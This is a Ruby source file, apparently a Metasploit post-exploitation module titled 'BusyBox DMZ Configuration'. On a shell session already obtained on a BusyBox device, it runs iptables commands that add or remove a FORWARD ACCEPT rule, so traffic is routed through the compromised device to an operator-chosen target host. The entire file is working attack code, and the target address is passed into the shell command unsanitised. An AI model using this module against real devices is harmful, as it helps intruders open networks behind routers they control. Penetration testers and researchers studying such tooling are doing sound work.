42 lines
1.3 KiB
Ruby
42 lines
1.3 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'BusyBox DMZ Configuration',
|
|
'Description' => %q{
|
|
This module will be applied on a session connected to a BusyBox shell. It allows to manage
|
|
traffic forwarding to a target host through the BusyBox device.
|
|
},
|
|
'Author' => 'Javier Vicente Vallejo',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['linux'],
|
|
'SessionTypes' => ['shell']
|
|
)
|
|
|
|
register_options([
|
|
OptAddress.new('TARGET_HOST', [ true, 'The address of the target host']),
|
|
OptBool.new('DELETE', [true, 'Remove host from the DMZ, otherwise will add it', false])
|
|
], self.class)
|
|
end
|
|
|
|
def run
|
|
if datastore['DELETE']
|
|
print_status("Deleting #{datastore['TARGET_HOST']} from DMZ")
|
|
vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
|
|
else
|
|
print_status("Adding #{datastore['TARGET_HOST']} to DMZ")
|
|
vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
|
|
end
|
|
|
|
vprint_status(cmd_exec('iptables --list'))
|
|
end
|
|
|
|
end
|